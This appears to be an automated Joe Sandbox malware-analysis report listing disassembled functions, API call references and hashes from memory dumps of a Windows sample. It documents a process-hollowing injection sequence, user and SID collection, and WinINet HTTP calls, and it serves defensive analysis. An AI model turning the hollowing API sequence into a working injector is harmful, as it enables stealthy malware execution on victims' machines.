Instruction ID: 30e6725a709c00c4e7141b270e992022222ef69c2e78f40e185473489d96acb0
Opcode Fuzzy Hash: 6d7cabbe3305cb9b6d011bf0e9d56addc9b4860a8407226052aa3c61f76cc774
Instruction Fuzzy Hash: 0F014F72C0015EBFCF01AFA89C00AEE7FF5AF18214F144569E955E2190E6318A60DF95

Uniqueness

Uniqueness Score: -1.00%

Function 010BF925 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,010BE0E6,00000001,00000364,00000006,000000FF,?,?,010B8272,?), ref: 010BF966

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2a33a97d9cf3e97cf741c2db1c7bcd579af8d9485345aa1c706e447110413de2
Instruction ID: 9a428bd56fc84ea21f2f0dfb25483ec017945044c3f31400757ae605d5f2d876
Opcode Fuzzy Hash: 2a33a97d9cf3e97cf741c2db1c7bcd579af8d9485345aa1c706e447110413de2
Instruction Fuzzy Hash: 19F08931665327B7AB627A3A9CC4BDB3B99AF617B0B148161EDD5D7284CB30DC0187E0

Uniqueness

Uniqueness Score: -1.00%

Function 010BDB3C Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,010B8272,?,?,?,?,?,010A20C3,?,?), ref: 010BDB6E

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b91df49410417f9be29c0e8b0ad3592083371b7712393691a93128069297dbc7
Instruction ID: 29006c3d79faa666eb62a651513cb855e1d197de80c5f7c149f682a421e4a1b7
Opcode Fuzzy Hash: b91df49410417f9be29c0e8b0ad3592083371b7712393691a93128069297dbc7
Instruction Fuzzy Hash: D1E0E531140212E7EA7126F99C80FDAFEC8AB513B8F040060EDD597280CB24C80083E9

Uniqueness

Uniqueness Score: -1.00%

Function 010C2368 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,010C2758,?,?,00000000,?,010C2758,00000000,0000000C), ref: 010C2385

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: abcc45b2a00496743f05c577563d3ca391fc4193dcb00d7c407017f80dd55bbf
Instruction ID: 40e04954ba0217f32e07e94cfa0980fe70b9ecc6974ec9d10b5617a415090ce1
Opcode Fuzzy Hash: abcc45b2a00496743f05c577563d3ca391fc4193dcb00d7c407017f80dd55bbf
Instruction Fuzzy Hash: 4ED06C3200014DBFDF128F85DD46EDA3FAAFB88714F014000BE5856020C736E831AB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 010A3740 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 294injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 010A38E6
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 010A394B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 010A3964
GetThreadContext.KERNEL32(?,00000000), ref: 010A397F
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 010A39A3
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 010A39BE
GetProcAddress.KERNEL32(00000000), ref: 010A39C5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 010A39ED
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 010A3A0E
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 010A3A5A
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 010A3A96
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 010A3AB2
ResumeThread.KERNEL32(?,?,?,00000000), ref: 010A3ABE
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000), ref: 010A3ACC
VirtualFree.KERNEL32(?,00000000,00008000), ref: 010A3AED

Strings

, xrefs: 010A3998
NtUnmapViewOfSection, xrefs: 010A39B4
ntdll.dll, xrefs: 010A39B9

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: $NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1522589568
Opcode ID: 44b50a08cc3faeb878059016370a8483c17c8a4c6fe0dad10c6ab467103edee9
Instruction ID: 9858a7caa7a620d59d844fc0f69277194808cecb3db73dcd92f75f3fa1f43079
Opcode Fuzzy Hash: 44b50a08cc3faeb878059016370a8483c17c8a4c6fe0dad10c6ab467103edee9
Instruction Fuzzy Hash: 39B1A471A00218EFDB21CF68DC45BEABBB5FF44714F504199F585AA2C0D776A980CF91

Uniqueness

Uniqueness Score: -1.00%

Function 010A7F00 Relevance: 20.1, APIs: 13, Instructions: 612synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(00000000,00000000,?,010D918C,C73353B8,?,00000000,00000000), ref: 010A7F61
GetLastError.KERNEL32(?,00000000,00000000), ref: 010A7F67

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: e67f192b95928e37f1e92f518554146f96f5176673957ed5a24562dadbb85cab
Instruction ID: 32f50b147a15ba284e55b20966ccd898d7792c9338bd19c7e0c2cc609640cf85
Opcode Fuzzy Hash: e67f192b95928e37f1e92f518554146f96f5176673957ed5a24562dadbb85cab
Instruction Fuzzy Hash: 67227971A001089FEB18DFA8CC88BDDBF76EF84311F948169E585AB2D4DB359A80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 010C3C76 Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 010C3CF8
_free.LIBCMT ref: 010C3D1C
_free.LIBCMT ref: 010C3EA9
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,010D2620), ref: 010C3EBB
_free.LIBCMT ref: 010C4075

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: af2e525b271ddb26eb251dd94eb320f798a0faeaaefa400e66ac8bd7bd25b68e
Instruction ID: a8c40dbc440026b102a669a2b3cc07f1ecfb9b9401fe7eb899b0e38e2ec5d183
Opcode Fuzzy Hash: af2e525b271ddb26eb251dd94eb320f798a0faeaaefa400e66ac8bd7bd25b68e
Instruction Fuzzy Hash: 28C12575A10206AFDB21AB7CD890AEEBBF9BF55B50F14809DE5C0DB281E7358A01CF50

Uniqueness

Uniqueness Score: -1.00%

Function 010B7AFC Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 010B7B12

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 2acd6d7114fa9803da759293a8e6672b7642f66098d13edab777f3f51e96d17f
Instruction ID: 6e74819554a17571b6f240590434276ca2c750a8d6bac4a98989bab26966179a
Opcode Fuzzy Hash: 2acd6d7114fa9803da759293a8e6672b7642f66098d13edab777f3f51e96d17f
Instruction Fuzzy Hash: 5A515372901219CBEB65CF69D4C579ABBF0FB48314F14896ED986E7384D3799900CF90

Uniqueness

Uniqueness Score: -1.00%

Function 010BCFB2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38dd18e236bff778ebfac104873e99183c47078571e48966eb6fb82665c9afe8
Instruction ID: 1cda36f5d22e05eb26ce2446e1c1cbac1de0e0baf20c96483ffad562d2cdd90e
Opcode Fuzzy Hash: 38dd18e236bff778ebfac104873e99183c47078571e48966eb6fb82665c9afe8
Instruction Fuzzy Hash: D9E08C72911229EBCB14DB8CCA849CAF7FCEB48A40B1540A6B602D3240C270DE00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 010A30E0 Relevance: 27.2, APIs: 18, Instructions: 210memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 010A3132
GetProcessHeap.KERNEL32(00000008,?), ref: 010A3147
HeapAlloc.KERNEL32(00000000), ref: 010A314A
GetUserNameW.ADVAPI32(00000000,?), ref: 010A3158
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 010A317B
GetProcessHeap.KERNEL32(00000008,?), ref: 010A3186
HeapAlloc.KERNEL32(00000000), ref: 010A3189
GetProcessHeap.KERNEL32(00000008,?), ref: 010A3199
HeapAlloc.KERNEL32(00000000), ref: 010A319C
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 010A31C6
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 010A31D9
GetProcessHeap.KERNEL32(00000000,?), ref: 010A32D5
HeapFree.KERNEL32(00000000), ref: 010A32DE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 010A32E3
HeapFree.KERNEL32(00000000), ref: 010A32E6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 010A32ED
HeapFree.KERNEL32(00000000), ref: 010A32F0
LocalFree.KERNEL32(00000000), ref: 010A32F5

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: 94da20ee3aa86c5665a941fa06a254620e47dfdbee8bb473c563d2c0f0a49827
Instruction ID: 44046334ed1b8e9c53e6bb0131cbc2588d801df47d1fafdc220b994661b9d585
Opcode Fuzzy Hash: 94da20ee3aa86c5665a941fa06a254620e47dfdbee8bb473c563d2c0f0a49827
Instruction Fuzzy Hash: FF714E71D00209AFDB159FA8DC84BEFBFB8FB48300F504569E945A7284DB359945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010C16C1 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 010C1705

Part of subcall function 010C129E: _free.LIBCMT ref: 010C12BB
Part of subcall function 010C129E: _free.LIBCMT ref: 010C12CD
Part of subcall function 010C129E: _free.LIBCMT ref: 010C12DF
Part of subcall function 010C129E: _free.LIBCMT ref: 010C12F1
Part of subcall function 010C129E: _free.LIBCMT ref: 010C1303
Part of subcall function 010C129E: _free.LIBCMT ref: 010C1315
Part of subcall function 010C129E: _free.LIBCMT ref: 010C1327
Part of subcall function 010C129E: _free.LIBCMT ref: 010C1339
Part of subcall function 010C129E: _free.LIBCMT ref: 010C134B
Part of subcall function 010C129E: _free.LIBCMT ref: 010C135D
Part of subcall function 010C129E: _free.LIBCMT ref: 010C136F
Part of subcall function 010C129E: _free.LIBCMT ref: 010C1381
Part of subcall function 010C129E: _free.LIBCMT ref: 010C1393

_free.LIBCMT ref: 010C16FA

Part of subcall function 010BD653: HeapFree.KERNEL32(00000000,00000000,?,010C142F,?,00000000,?,?,?,010C1456,?,00000007,?,?,010C1858,?), ref: 010BD669
Part of subcall function 010BD653: GetLastError.KERNEL32(?,?,010C142F,?,00000000,?,?,?,010C1456,?,00000007,?,?,010C1858,?,?), ref: 010BD67B

_free.LIBCMT ref: 010C171C
_free.LIBCMT ref: 010C1731
_free.LIBCMT ref: 010C173C
_free.LIBCMT ref: 010C175E
_free.LIBCMT ref: 010C1771
_free.LIBCMT ref: 010C177F
_free.LIBCMT ref: 010C178A
_free.LIBCMT ref: 010C17C2
_free.LIBCMT ref: 010C17C9
_free.LIBCMT ref: 010C17E6
_free.LIBCMT ref: 010C17FE

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 71dd119ecb13ddf69cea676f743266f38b54834878ca323689c8a75ce4af2603
Instruction ID: 2f65ed2439391ce83a2e04c7e1ca7fa05ff2573952b451c5961a01eb124bf5a5
Opcode Fuzzy Hash: 71dd119ecb13ddf69cea676f743266f38b54834878ca323689c8a75ce4af2603
Instruction Fuzzy Hash: B8315C31600705DFEB61AB79E884B9AB7E9BF14A18F10899EE1D8D7152DA70E980CF14

Uniqueness

Uniqueness Score: -1.00%

Function 010B8BC7 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 010B8CC2
type_info::operator==.LIBVCRUNTIME ref: 010B8CE9
___TypeMatch.LIBVCRUNTIME ref: 010B8DF5
CatchIt.LIBVCRUNTIME ref: 010B8E4A
IsInExceptionSpec.LIBVCRUNTIME ref: 010B8ED0
_UnwindNestedFrames.LIBCMT ref: 010B8F57
CallUnexpected.LIBVCRUNTIME ref: 010B8F72

Strings

csm, xrefs: 010B8C6F
csm, xrefs: 010B8D20
csm, xrefs: 010B8C02

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: e3c7fecafd980d31a0febb94f4c853ae3d491607f77171b49b092197319439c4
Instruction ID: f8a5b5f16195340d4971b04a93fff7332b680110363301d02000ba20b8b5b4d1
Opcode Fuzzy Hash: e3c7fecafd980d31a0febb94f4c853ae3d491607f77171b49b092197319439c4
Instruction Fuzzy Hash: D0C15C7180020ADFDF59EF98C8C09EEBBB9BF14314F04819BE9916B222D731DA51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 010BDE2C Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 010BDE42

Part of subcall function 010BD653: HeapFree.KERNEL32(00000000,00000000,?,010C142F,?,00000000,?,?,?,010C1456,?,00000007,?,?,010C1858,?), ref: 010BD669
Part of subcall function 010BD653: GetLastError.KERNEL32(?,?,010C142F,?,00000000,?,?,?,010C1456,?,00000007,?,?,010C1858,?,?), ref: 010BD67B

_free.LIBCMT ref: 010BDE4E
_free.LIBCMT ref: 010BDE59
_free.LIBCMT ref: 010BDE64
_free.LIBCMT ref: 010BDE6F
_free.LIBCMT ref: 010BDE7A
_free.LIBCMT ref: 010BDE85
_free.LIBCMT ref: 010BDE90
_free.LIBCMT ref: 010BDE9B
_free.LIBCMT ref: 010BDEA9

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: aa94af89ef32d175a5a73ec0141279e6c2525f788516f758e375e59ac636e14a
Instruction ID: 2b6abf4b2121002c203f88e274c2635f70e6b8565c08c1336d4a472e607c712c
Opcode Fuzzy Hash: aa94af89ef32d175a5a73ec0141279e6c2525f788516f758e375e59ac636e14a
Instruction Fuzzy Hash: 6C219C7690450DAFCB41EFD4D880DDDBBB9BF28648F018165E5599B120DB71D684CB80

Uniqueness

Uniqueness Score: -1.00%

Function 010A86E2 Relevance: 13.8, APIs: 9, Instructions: 341networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(010D3F6C,00000000,00000000,00000000,00000000), ref: 010A871C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 010A8740
HttpOpenRequestA.WININET(?,00000000), ref: 010A878A
HttpSendRequestA.WININET(?,00000000), ref: 010A884A
InternetReadFile.WININET(?,?,000003FF,?), ref: 010A88FC
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 010A89B0
InternetCloseHandle.WININET(?), ref: 010A89D7
InternetCloseHandle.WININET(?), ref: 010A89DF
InternetCloseHandle.WININET(?), ref: 010A89E7

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID:
API String ID: 1354133546-0
Opcode ID: 868492ba59c7793d1e030ed07829ab754bf91bbde4460aa6bdcdf0a3eafb6351
Instruction ID: 210ed1c7d4c5e81b57ea3f7b63a3cf3bed00bd019d16498ff49671242d433642
Opcode Fuzzy Hash: 868492ba59c7793d1e030ed07829ab754bf91bbde4460aa6bdcdf0a3eafb6351
Instruction Fuzzy Hash: 04C106B06101189FEB28CF28CC88BDDBF75EF85315F848199E68897281DB759AC0CF95

Uniqueness

Uniqueness Score: -1.00%

Function 010C5642 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acf6430a63d3fbb3145ad9179f3fe3d0df64a679795acc35e45e9398e8252c23
Instruction ID: f3c03ccabb574d2d26dc247b521ebef341ccbe4fc291551fe2a4a5291f98cf48
Opcode Fuzzy Hash: acf6430a63d3fbb3145ad9179f3fe3d0df64a679795acc35e45e9398e8252c23
Instruction Fuzzy Hash: 61C1CD78A042499FDB11CF98DC80BEEBBB1FF4A714F04419DE995AB282C735A941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 010C0AD9 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 010C0B03
_free.LIBCMT ref: 010C0BDC
_free.LIBCMT ref: 010C0C09

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 871fe5f850415a31fd3c5a57cc693d419851f6695a91142cc433fcd8d05122a6
Instruction ID: 9c4dbbad688a34408aba5726e9231ead45c7133379895b89a8ce1352730c0ac2
Opcode Fuzzy Hash: 871fe5f850415a31fd3c5a57cc693d419851f6695a91142cc433fcd8d05122a6
Instruction Fuzzy Hash: ED51F37894434BEFEB21AFA8D8C0AAD7BE4AF11B18F00419EF9D497289DB359140CF51

Uniqueness

Uniqueness Score: -1.00%

Function 010B8570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 010B85A7
___except_validate_context_record.LIBVCRUNTIME ref: 010B85AF
_ValidateLocalCookies.LIBCMT ref: 010B8638
__IsNonwritableInCurrentImage.LIBCMT ref: 010B8663
_ValidateLocalCookies.LIBCMT ref: 010B86B8

Strings

csm, xrefs: 010B864D

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 0ab897f233c661d8f14d141e268b508a807ce4d9b88e514ec9a419e6e7d494e0
Instruction ID: daf80c7038f4bd031207932be623effa27b7e6da8dc3af4a46825852fd155294
Opcode Fuzzy Hash: 0ab897f233c661d8f14d141e268b508a807ce4d9b88e514ec9a419e6e7d494e0
Instruction Fuzzy Hash: 9B41B274A00209EBCF50DF6CC8C4ADEBFB9AF59214F04C196E9949B3A1D7319A01CF91

Uniqueness

Uniqueness Score: -1.00%

Function 010BE1FE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 010BE269
api-ms-, xrefs: 010BE255

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

